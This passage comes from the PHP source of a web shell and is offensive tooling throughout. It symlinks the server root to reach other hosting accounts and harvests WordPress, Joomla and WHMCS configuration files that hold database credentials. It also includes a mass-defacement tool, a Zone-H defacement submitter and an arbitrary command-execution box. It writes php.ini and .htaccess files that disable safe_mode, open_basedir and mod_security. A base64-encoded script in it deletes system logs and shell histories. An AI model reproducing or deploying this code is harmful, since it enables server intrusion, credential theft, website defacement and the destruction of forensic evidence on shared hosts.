class=\"td1\">';\necho'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';\n\$named = file_get_contents(\"/etc/named.conf\");\npreg_match_all('%zone \\\"(.*)\\\" {%',\$named,\$domains);\nforeach(\$domains[1] as \$domain){\n\$domain = trim(\$domain);\n\$i += 1;\n\$owner = posix_getpwuid(fileowner(\"/etc/valiases/\".\$domain));\necho \"<tr><td class='td1'><a href='http://\".\$domain.\" '>\".\$domain.\"</a></td><td class='td1'><center><font color='red'>\".\$owner['name'].\"</font></center></td><td class='td1'><center><a href='explodedsym/root\".\$owner['dir'].\"/\".\$dir[3].\"' target='_blank'>DIR</a></center></td>\";\n}\necho \"<center>Total Domains Found: \".\$i.\"</center><br />\";\n\n} else { echo \"<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>\"; }\n\nbreak;\n############################\nif(is_readable(\"/etc/valiases\")){\necho'<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">';\necho'<tr><td><center><b>SITE</b></center></td><td>\n<center><b>USER</b></center></td><td></center>\n<b>SYMLINK</b></center></td>';\n\$list = scandir(\"/etc/valiases\");\nforeach(\$list as \$domain){\n\$i += 1;\n\$owner = posix_getpwuid(fileowner(\"/etc/valiases/\".\$domain));\necho \"<tr><td class='td1'><a href='http://\".\$domain.\" '>\".\$domain.\"</a></td>\n<center><td class='td1'><font color='red'>\".\$owner['name'].\"</font></center></td>\n<td class='td1'><center><a href='explodedsym/root\".\$owner['dir'].\"/\".\$dir[3].\"' target='_blank'>DIR</a></center></td>\";\n}\necho \"<center>Total Domains Found: \".\$i.\"</center><br />\";\n} else { echo \"<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>\"; }\n\nbreak;\n}\n\n##################################\n\n#==================[ Multi Tool Symlink ]==================#\n\nif(isset(\$_POST['symlinkr']))\n{\n@set_time_limit(0);\n@mkdir('sym',0777);\nerror_reporting(0);\n\$htaccess = \"Options all \\n DirectoryIndex gaza.html \\n AddType text/plain .php \\n AddHandler server-parsed .php \\n AddType text/plain .html \\n AddHandler txt .html \\n Require None \\n Satisfy Any\";\n\$op =@fopen ('sym/.htaccess','w');\nfwrite(\$op ,\$htaccess);\necho '<center><b>[ Manual Symlink ]</b><br><br>\n<form method=\"post\"><table class=\"tabnet\"><th colspan=\"5\">Manual Symlink</th><tr>\n<td>File Path :</td><td><input class=\"inputz\" type=\"text\" name=\"file\" value=\"/home/user/public_html/config.php\" size=\"60\"/></td></tr>\n<tr><td>Symlink Name :</td><td><input class=\"inputz\" type=\"text\" name=\"symfile\" value=\"config.txt\" size=\"60\"/></td></tr>\n<tr><td></td><td><input class=\"inputzbut\" type=\"submit\" value=\"Symlink\" name=\"symlink\" /></td></tr></table></form></center>';\n\$target = \$_POST['file']; \$symfile = \$_POST['symfile']; \$symlink = \$_POST['symlink'];\nif (\$symlink) {@symlink(\"\$target\",\"sym/\$symfile\");\necho '<br><center><a target=\"_blank\" href=\"sym/'.\$symfile.'\" >'.\$symfile.'</a><center>';}}\n\n#==================[ Multi Tool Symlink ]==================#\n \nif(isset(\$_POST['symlinks']))\n{\n@set_time_limit(0);\necho \"<center><h1>[ Auto Symlink Server]</h1></center><br><center><div class=content>\";\n\$d0mains = @file(\"/etc/named.conf\");\n##httaces\nif(\$d0mains){\n@mkdir(\"explodedsyms\",0777);\n@chdir(\"explodedsyms\");\n@exe(\"ln -s / root\");\n\$file3 = 'Options all\nDirectoryIndex Sux.html\nAddType text/plain .php \nAddHandler server-parsed .php \nAddType text/plain .html \nAddHandler txt .html \nRequire None \nSatisfy Any';\n\$fp3 = fopen('.htaccess','w');\n\$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\necho \"\n<table align=center border=1 style='width:60%;border-color:#333333;'>\n<tr>\n<td align=center><font size=3>S. No.</font></td>\n<td align=center><font size=3>Domains</font></td>\n<td align=center><font size=3>Users</font></td>\n<td align=center><font size=3>Symlink</font></td>\n</tr>\";\n\$dcount = 1;\n\nforeach(\$d0mains as \$d0main){\nif(eregi(\"zone\",\$d0main)){preg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\nflush();\nif(strlen(trim(\$domains[1][0])) > 2){\n\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\necho \"<tr align=center><td><font size=3>\" . \$dcount . \"</font></td>\n<td align=left><a href=http://www.\".\$domains[1][0].\"/><font class=txt>\".\$domains[1][0].\"</font></a></td>\n<td>\".\$user['name'].\"</td>\n<td><a href='/k2/root/home/\".\$user['name'].\"/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>\"; \nflush();\n\$dcount++;}}}\necho \"</table>\";\n}else{\n\$TEST=@file('/etc/passwd');\nif (\$TEST){\n@mkdir(\"explodedsyms\",0777);\n@chdir(\"explodedsyms\");\nexe(\"ln -s / root\");\n\$file3 = 'Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any';\n \$fp3 = fopen('.htaccess','w');\n \$fw3 = fwrite(\$fp3,\$file3);\n @fclose(\$fp3);\n echo \"<br><br><center><h2>Symlink Server !</h2></center><br><br>\n <table align=center border=1><tr>\n <td align=center><font size=4>S. No.</font></td>\n <td align=center><font size=4>Users</font></td>\n <td align=center><font size=4>Symlink</font></td></tr>\";\n \$dcount = 1;\n \$file = fopen(\"/etc/passwd\", \"r\") or exit(\"Unable to open file!\");\n while(!feof(\$file)){\n \$s = fgets(\$file);\n \$matches = array();\n \$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\n \$matches = str_replace(\"home/\",\"\",\$matches[1]);\n if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\n continue;\n echo \"<tr><td align=center><font size=3>\" . \$dcount . \"</td>\n <td align=center><font class=txt>\" . \$matches . \"</td>\";\n echo \"<td align=center><font class=txt><a href=/k2/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\n \$dcount++;}fclose(\$file);\n echo \"</table>\";}else{if(\$os != \"Windows\"){@mkdir(\"explodedsyms\",0777);@chdir(\"explodedsyms\");@exe(\"ln -s / root\");\$file3 = 'Options all \n DirectoryIndex Sux.html\n AddType text/plain .php\n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any';\n \$fp3 = fopen('.htaccess','w');\n \$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\n echo \"<center>\n <table align=center border=1><tr>\n <td align=center><font size=4>Id</font></td>\n <td align=center><font size=4>Users</font></td>\n <td align=center><font size=4>Symlink</font></td></tr>\";\n \$temp = \"\";\$val1 = 0;\$val2 = 1000;\n for(;\$val1 <= \$val2;\$val1++) {\$uid = @posix_getpwuid(\$val1);\n if (\$uid)\$temp .= join(':',\$uid).\"\\n\";}\n echo '<br/>';\$temp = trim(\$temp);\$file5 = \n fopen(\"test.txt\",\"w\");\n fputs(\$file5,\$temp);\n fclose(\$file5);\$dcount = 1;\$file = \n fopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\n while(!feof(\$file)){\$s = fgets(\$file);\$matches = array();\n \$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\$matches = str_replace(\"home/\",\"\",\$matches[1]);\n if(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\n continue;\n echo \"<tr><td align=center><font size=3>\" . \$dcount . \"</td>\n <td align=center><font class=txt>\" . \$matches . \"</td>\";\n echo \"<td align=center><font class=txt><a href=/k2/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\n \$dcount++;}\n fclose(\$file);\n echo \"</table></div></center>\";unlink(\"test.txt\");\n } else \n echo \"<center><font size=4>Cannot create Symlink</font></center>\";\n }\n }\n }\n}\n/////////////////////////////////////////////////////////////////\n/////////////////////////////////////////////////////////////////////////////////////////////\n\n\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'mass'))\n{\necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Mass Deface</font></b></center></td></tr></table>\n\";\nerror_reporting(0);?>\n<form ENCTYPE=\"multipart/form-data\" action=\"<?php \$_SERVER['PHP_SELF']?>\" method='post'>\n<td><table><table class=\"tabnet\" >\n\n<th colspan='5'><b>Folder Mass Deface</b></th>\n<form hethot='post'>\n<tr>\n <tr>\n <td> Folder</td><td><input class ='inputz' style='background:black;' type='text' name='path' size='60' value=\"<?=getcwd();?>\"></td>\n </tr><br>\n <tr>\n <td>File Name</td><td><input class ='inputz' style='background:black;' type='text' name='file' size='60' value=\"index.html\"></td>\n </tr>\n</tr>\n<table class=\"tabnet\" >\n<th colspan='5'><b>File Code Mass Deface</b></th>\n<tr><td></td><td>\n<table><textarea align=\"center\" style='background:black;' name='index' rows='15' cols='80'><?=\$script_deface; ?></textarea><br>\n<center><input class='inputzbut' type='submit' value=\" Mass Deface \"></center></form></table></table></table></table>\n<br></form>\n<?php \$mainpath=\$_POST[path];\$file=\$_POST[file];\$dir=opendir(\"\$mainpath\");\$code=base64_encode(\$_POST[index]);\$indx=base64_decode(\$code);while(\$row=readdir(\$dir)){\$start=@fopen(\"\$row/\$file\",\"w+\");\$finish=@fwrite(\$start,\$indx);if (\$finish){echo \"\$row/\$file > Done<br><br>\";}}}\n/////////////\n/////////////////////////////////////////////////////////////////\n\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'zone'))\n{ @ini_set('output_buffering',0); \necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Zone-H Submiter</font></b></center></td></tr></table>\n\";\n?>\n<form action=\"?y=<?=\$pwd; ?>&x=zone\" method=\"post\">\n\n<br><br><center>\n<!-- Zone-H -->\n<form action=\"\" method='POST'><table><table class='tabnet'>\n<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan=\"2\"><b>Zone-H Defacer</b></th></tr></td></tr><td height='45' colspan='2'><form method=\"post\">\n<input type=\"text\" class=\"inputz\" name=\"defacer\" style=\"background:black;\" placeholder=\"Name Of Defacer\" />\n<select name=\"hackmode\" class=\"inputz\" >\n<option >---------------------------Select One---------------------------</option>\n<option value=\"1\">Known Vulnerability (i.e. Unpatched System)</option>\n<option value=\"2\" >Undisclosed (new) Vulnerability</option>\n<option value=\"3\" >Configuration / Admin Mistake</option>\n<option value=\"4\" >Brute Force Attack</option>\n<option value=\"5\" >Social Engineering</option>\n<option value=\"6\" >Web Server Intrusion</option>\n<option value=\"7\" >Web Server External Module Intrusion</option>\n<option value=\"8\" >Mail Server Intrusion</option>\n<option value=\"9\" >FTP Server Intrusion</option>\n<option value=\"10\" >SSH Server Intrusion</option>\n<option value=\"11\" >Telnet Server Intrusion</option>\n<option value=\"12\" >RPC Server Intrusion</option>\n<option value=\"13\" >Shares Misconfiguration</option>\n<option value=\"14\" >Other Server Intrusion</option>\n<option value=\"15\" >SQL Injection</option>\n<option value=\"16\" >URL Poisoning</option>\n<option value=\"17\" >File Inclusion</option>\n<option value=\"18\" >Other Web Application Bug</option>\n<option value=\"19\" >Remote Administrative Panel Access Bruteforcing</option>\n<option value=\"20\" >Remote Administrative Panel Access Password Guessing</option>\n<option value=\"21\" >Remote Administrative Panel Access Social Engineering</option>\n<option value=\"22\" >Attack Against Administrator(Password StealingSniffing)</option>\n<option value=\"23\" >Access Credentials Through Man In the Middle Attack</option>\n<option value=\"24\" >Remote Service Password Guessing</option>\n<option value=\"25\" >Remote Service Password Bruteforce</option>\n<option value=\"26\" >Rerouting After Attacking The Firewall</option>\n<option value=\"27\" >Rerouting After Attacking The Router</option>\n<option value=\"28\" >DNS Attack Through Social Engineering</option>\n<option value=\"29\" >DNS Attack Through Cache Poisoning</option>\n<option value=\"30\" >Not available</option>\n</select>\n\n<select name=\"reason\" class=\"inputz\" >\n<option >---------------Select One-----------------</option>\n<option value=\"1\" >Heh...Just For Fun!</option>\n<option value=\"2\" >Revenge Against That Website</option>\n<option value=\"3\" >Political Reasons</option>\n<option value=\"4\" >As a Challenge</option>\n<option value=\"5\" >I Just Want To Be The Best Defacer</option>\n<option value=\"6\" >Patriotism</option>\n<option value=\"7\" >Not Available</option>\n</select>\n<input type=\"hidden\" name=\"action\" value=\"zone\"><tr><td>\n<center><textarea style=\"background:black;outline:none;\" name=\"domain\" cols=\"116\" rows=\"9\" id=\"domains\" placeholder=\"List Of Domains\"></textarea>\n<br /><input class='inputzbut' type=\"submit\" value=\"Send Now !\" name=\"SendNowToZoneH\" /><br></center></table>\n</form></td></tr></table></form>\n<!-- End Of Zone-H -->\n</td></center><br><br>\n\n<?php\nfunction ZoneH(\$url, \$hacker, \$hackmode,\$reson, \$site ) \n{ \n \$k = curl_init(); \n curl_setopt(\$k, CURLOPT_URL, \$url); \n curl_setopt(\$k,CURLOPT_POST,true); \n curl_setopt(\$k, CURLOPT_POSTFIELDS,\"defacer=\".\$hacker.\"&domain1=\". \$site.\"&hackmode=\".\$hackmode.\"&reason=\".\$reson); \n curl_setopt(\$k,CURLOPT_FOLLOWLOCATION, true); \n curl_setopt(\$k, CURLOPT_RETURNTRANSFER, true); \n \$kubra = curl_exec(\$k); \n curl_close(\$k); \n return \$kubra; \n} \n{ \n ob_start(); \n \$sub = @get_loaded_extensions(); \n if(!in_array(\"curl\", \$sub)) \n { \n die('<center><b>[-] Curl Is Not Supported !![-]</b></center>'); \n } \n \n \$hacker = \$_POST['defacer']; \n \$method = \$_POST['hackmode']; \n \$neden = \$_POST['reason']; \n \$site = \$_POST['domain']; \n if (empty(\$hacker)) \n { die (\"<center><b> </b></center>\"); } \n elseif(\$method == \"--------SELECT--------\") \n { die(\"<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>\"); } \n elseif(\$neden == \"--------SELECT--------\") \n { die(\"<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>\"); } \n elseif(empty(\$site)) \n { die(\"<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>\"); } \n \$i = 0; \n \$sites = explode(\"\\n\", \$site); \n while(\$i < count(\$sites)) \n { \n if(substr(\$sites[\$i], 0, 4) != \"http\") \n { \n \$sites[\$i] = \"http://\".\$sites[\$i]; \n } \n ZoneH(\"http://www.zone-h.com/notify/single\", \$hacker, \$method, \$neden, \$sites[\$i]); \n echo \"\$sites[\$i]\"; \n ++\$i; \n } \n\n } \n\n \n}\n/////////////////////////////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'grabc')){ @ini_set('output_buffering',0); \necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Config Grabber</font></b></center></td></tr></table>\n\";\n?>\n <form action=\"?y=<?=\$pwd; ?>&x=grabc\" method=\"post\">\n\n<?php\necho \"\n<form method='POST'>\n</head>\n<style>\ntextarea {\nresize:none;\ncolor: #000000 ;\nbackground-color:#000000; \nfont-size:8pt; color:#ffffff;\n\nwidth:550px;\nheight:400px;\n}\ninput {\ncolor: #000000;\nborder:1px dotted white;\n}\n</style>\";\necho \"<center>\";?></center><br><center><?php if (empty(\$_POST['config'])) { ?><br><form method=\"POST\"><table class=\"tabnet\" >\n<th colspan='5'><b>Config Grabber</b></th></center>\n<tr><td></td><td><table><textarea name=\"passwd\" class='area' rows='15' cols='60'><?=file_get_contents('/etc/passwd'); ?></textarea><br>\n<center><input name=\"config\" style=\"width:550px;\" class='inputzbut' value=\" Grab! \" type=\"submit\"></form></center></table></table>\n<?php }if (\$_POST['config']) {\$function = \$functions=@ini_get(\"disable_functions\");if(eregi(\"symlink\",\$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('explodedcgrab', 0755);@chdir('explodedcgrab');\n\$htaccess=\"\nOPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI\nOptions Indexes FollowSymLinks\nForceType text/plain\nAddType text/plain .php\nAddType text/plain .html\nAddType text/html .shtml\nAddType txt .php\nAddHandler server-parsed .php\nAddHandler txt .php\nAddHandler txt .html\nAddHandler txt .shtml\nOptions All\nOptions All\nOPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI\nOptions Indexes FollowSymLinks\nForceType text/plain\nAddType text/plain .php\nAddType text/plain .html\nAddType text/html .shtml\nAddType txt .php\nAddHandler server-parsed .php\nAddHandler txt .php\nAddHandler txt .html\nAddHandler txt .shtml\nOptions All\nOptions All\";\nfile_put_contents(\".htaccess\",\$htaccess,FILE_APPEND);\$passwd=\$_POST[\"passwd\"];\n\$passwd=explode(\"\\n\",\$passwd);\necho \"<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>\";\nforeach(\$passwd as \$pwd){\n\$pawd=explode(\":\",\$pwd);\$user =\$pawd[0];\n@symlink('/home/'.\$user.'/public_html/wp-config.php',\$user.'-wp13.txt');\n@symlink('/home/'.\$user.'/public_html/wp/wp-config.php',\$user.'-wp13-wp.txt');\n@symlink('/home/'.\$user.'/public_html/WP/wp-config.php',\$user.'-wp13-WP.txt');\n@symlink('/home/'.\$user.'/public_html/wp/beta/wp-config.php',\$user.'-wp13-wp-beta.txt');\n@symlink('/home/'.\$user.'/public_html/beta/wp-config.php',\$user.'-wp13-beta.txt');\n@symlink('/home/'.\$user.'/public_html/press/wp-config.php',\$user.'-wp13-press.txt');\n@symlink('/home/'.\$user.'/public_html/wordpress/wp-config.php',\$user.'-wp13-wordpress.txt');\n@symlink('/home/'.\$user.'/public_html/Wordpress/wp-config.php',\$user.'-wp13-Wordpress.txt');\n@symlink('/home/'.\$user.'/public_html/blog/wp-config.php',\$user.'-wp13-Wordpress.txt');\n@symlink('/home/'.\$user.'/public_html/config.php',\$user.'-configgg.txt');\n@symlink('/home/'.\$user.'/public_html/news/wp-config.php',\$user.'-wp13-news.txt');\n@symlink('/home/'.\$user.'/public_html/new/wp-config.php',\$user.'-wp13-new.txt');\n@symlink('/home/'.\$user.'/public_html/blog/wp-config.php',\$user.'-wp-blog.txt');\n@symlink('/home/'.\$user.'/public_html/beta/wp-config.php',\$user.'-wp-beta.txt');\n@symlink('/home/'.\$user.'/public_html/blogs/wp-config.php',\$user.'-wp-blogs.txt');\n@symlink('/home/'.\$user.'/public_html/home/wp-config.php',\$user.'-wp-home.txt');\n@symlink('/home/'.\$user.'/public_html/db.php',\$user.'-dbconf.txt');\n@symlink('/home/'.\$user.'/public_html/site/wp-config.php',\$user.'-wp-site.txt');\n@symlink('/home/'.\$user.'/public_html/main/wp-config.php',\$user.'-wp-main.txt');\n@symlink('/home/'.\$user.'/public_html/configuration.php',\$user.'-wp-test.txt');\n@symlink('/home/'.\$user.'/public_html/joomla/configuration.php',\$user.'-joomla2.txt');\n@symlink('/home/'.\$user.'/public_html/portal/configuration.php',\$user.'-joomla-protal.txt');\n@symlink('/home/'.\$user.'/public_html/joo/configuration.php',\$user.'-joo.txt');\n@symlink('/home/'.\$user.'/public_html/cms/configuration.php',\$user.'-joomla-cms.txt');\n@symlink('/home/'.\$user.'/public_html/site/configuration.php',\$user.'-joomla-site.txt');\n@symlink('/home/'.\$user.'/public_html/main/configuration.php',\$user.'-joomla-main.txt');\n@symlink('/home/'.\$user.'/public_html/news/configuration.php',\$user.'-joomla-news.txt');\n@symlink('/home/'.\$user.'/public_html/new/configuration.php',\$user.'-joomla-new.txt');\n@symlink('/home/'.\$user.'/public_html/home/configuration.php',\$user.'-joomla-home.txt');\n@symlink('/home/'.\$user.'/public_html/vb/includes/config.php',\$user.'-vb-config.txt');\n@symlink('/home/'.\$user.'/public_html/whm/configuration.php',\$user.'-whm15.txt');\n@symlink('/home/'.\$user.'/public_html/central/configuration.php',\$user.'-whm-central.txt');\n@symlink('/home/'.\$user.'/public_html/whm/whmcs/configuration.php',\$user.'-whm-whmcs.txt');\n@symlink('/home/'.\$user.'/public_html/whm/WHMCS/configuration.php',\$user.'-whm-WHMCS.txt');\n@symlink('/home/'.\$user.'/public_html/whmc/WHM/configuration.php',\$user.'-whmc-WHM.txt');\n@symlink('/home/'.\$user.'/public_html/whmcs/configuration.php',\$user.'-whmcs.txt');\n@symlink('/home/'.\$user.'/public_html/support/configuration.php',\$user.'-support.txt');\n@symlink('/home/'.\$user.'/public_html/configuration.php',\$user.'-joomla.txt');\n@symlink('/home/'.\$user.'/public_html/submitticket.php',\$user.'-whmcs2.txt');\n@symlink('/home/'.\$user.'/public_html/whm/configuration.php',\$user.'-whm.txt');}\necho '<b class=\"cone\"><font face=\"Tahoma\" color=\"#00dd00\" size=\"2pt\"><b>Done -></b> <a target=\"_blank\" href=\"explodedcgrab\">Open configs</a></font></b>';}\n}\n ////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'about'))\n {@ini_set('output_buffering',0); \n echo \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>About</font></b></center></td></tr></table>\n\";\n ?><form action=\"?y=<?=\$pwd; ?>&x=about\" method=\"post\"><center><br><br><div class='msupiani'><img src='http://oi58.tinypic.com/2u8fmnn.jpg'/></div>\n<br><br><br><font size=\"10\" color=\"#00ff00\"><b>Thanks To :</b><br><br><br></font></center><center><marquee direction=\"up\" scrollamount=\"2\" bgcolor=\"\" width=\"250\" height=\"100\"><center>\n<p><b><font size=\"3\" color=\"#00ff00\">Allah S.W.T<br><br>My Parent<br>Yulia Susanti<br>All Member Security Exploded<br>1N73CTION<br>B374K<br>AnonGhost<br>WSO<br>C100<br>BlackShadow<br>Madspot<br><br>\n=[ Grub & Forum ]=<br><br>Pentest & Security Indonesia<br>Kali Linux Indonesia<br>Surabaya Black Hat<br>Indonesian Backtrack Team<br><br><br><br>By<br>Security Exploded a.k.a ./Port22<br><br>Special Present To :<BR><center><img src=\"http://www.clker.com/cliparts/W/q/D/p/e/7/small-red-heart-with-transparent-background-hi.png\" width='20' height='20'></center>Yulia Susanti<br><br>18 Mar 2014<br>\n</font></b></p></center></marquee></center><embed src=\"<?=\$music;?>\" autostart=\"TRUE\" loop=\"TRUE\" width=\"0\" height=\"0\"></embed><br><br><br>\n<?php\n}\n/////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'shell')){ ?><form action=\"?y=<?=\$pwd; ?>&x=shell\" method=\"post\"><table class=\"cmdbox\">\n<tr><td colspan=\"2\"><textarea class=\"output\" readonly><?php if(isset(\$_POST['submitcmd'])) { echo @exe(\$_POST['cmd']);} ?></textarea>\n<tr><td colspan=\"2\"><?=\$prompt; ?><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:60%;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:12%;\" /></td></tr>\n</table></form><?php } \nelse { \nif(isset(\$_GET['delete']) && (\$_GET['delete'] != \"\")){\n \$file = \$_GET['delete'];\n @unlink(\$file);\n}\nelseif(isset(\$_GET['fdelete']) && (\$_GET['fdelete'] != \"\")){\n @rmdir(rtrim(\$_GET['fdelete'],DIRECTORY_SEPARATOR));\n}\nelseif(isset(\$_GET['mkdir']) && (\$_GET['mkdir'] != \"\")){\n \$path = \$pwd.\$_GET['mkdir'];\n @mkdir(\$path);\n}\n \$buff = showdir(\$pwd,\$prompt);\n echo \$buff;\n}\n//////////////////////////////////////\n?>\n<br><table class=\"tabnet\" >\n<tr><form method=\"post\" action=\"\"> <td><select class=\"inputzbut\" align=\"left\" name=\"pilihan\" id=\"pilih\"><option value=\"\"selected>------[ Select Your Favorit Tools ]------</option><option value=\"htasell\">htaccess Shell [ .htaccess ]</option><option value=\"slc\" >Server Log Cleaner [ serverLC.sh ]</option><option value=\"ini\">Bypass Disable Function in Apache</option><option value=\"inis\">Bypass Disable Function in Litespeed</option></select>\n<input type=\"submit\" name=\"submites\" class=\"inputzbut\" value=\"Created\">\n</td></form></tr></table>\n<?php\n\$submit = \$_POST ['submites'];\nif(isset(\$submit)) {\n \$pilih = \$_POST['pilihan'];\n if ( \$pilih == 'ini') {\n \$byphp = \"safe_mode = Off \\n disable_functions = None \\n safe_mode_gid = OFF \\n open_basedir = OFF \\n allow_url_fopen = On\";\n \$byht = \"<IfModule mod_security.c> \\n SecFilterEngine Off \\n SecFilterScanPOST Off \\n SecFilterCheckURLEncoding Off \\n SecFilterCheckUnicodeEncoding Off \\n </IfModule>\";\n \$iniphp = '<? \\n echo ini_get(\"safe_mode\"); \\n echo ini_get(\"open_basedir\"); \\n include(\$_GET[\"file\"]); \\n ini_restore(\"safe_mode\"); \\n ini_restore(\"open_basedir\"); \\n echo ini_get(\"safe_mode\"); \\n echo ini_get(\"open_basedir\"); \\n include(\$_GET[\"ss\"]; \\n ?>';\n file_put_contents(\"php.ini\",\$byphp);\n file_put_contents(\".htaccess\",\$byht);\n file_put_contents(\"ini.php\",\$iniphp);\n echo \"<script>alert('Disable Functions in Apache Created'); hideAll();</script>\";\ndie();\n }\n elseif ( \$pilih == 'inis') {\n \$iniph = '<?php \\n echo ini_get(\"safe_mode\"); \\n echo ini_get(\"open_basedir\"); \\n include(\$_GET[\"file\"]); \\n ini_restore(\"safe_mode\"); \\n ini_restore(\"open_basedir\"); \\n echo ini_get(\"safe_mode\"); \\n echo ini_get(\"open_basedir\"); \\n include(\$_GET[\"ss\"]; \\n ?>';\n \$byph = \"safe_mode = Off \\n disable_functions= \";\n \$comp=\"PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=\";\n file_put_contents(\"php.ini\",base64_decode(\$byph));\n file_put_contents(\"ini.php\",base64_decode(\$iniph));\n file_put_contents(\".htaccess\",base64_decode(\$comp));\n echo \"<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>\";\ndie();\n }\n \n elseif ( \$pilih == 'slc') {\n \$slc =\"IyEvYmluL3NoDQojIFJlY29kZWQgQnkgLi9Qb3J0MjIgKE1TdXBpYW4pDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIFNlY3VyaXR5IEV4cGxvZGVkDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVG8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki\";\n file_put_contents(\"serverLC.sh\",base64_decode(\$slc));\n echo \"<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>\";\n die();\n }\n elseif ( \$pilih == 'htasell') {\n \$ht = 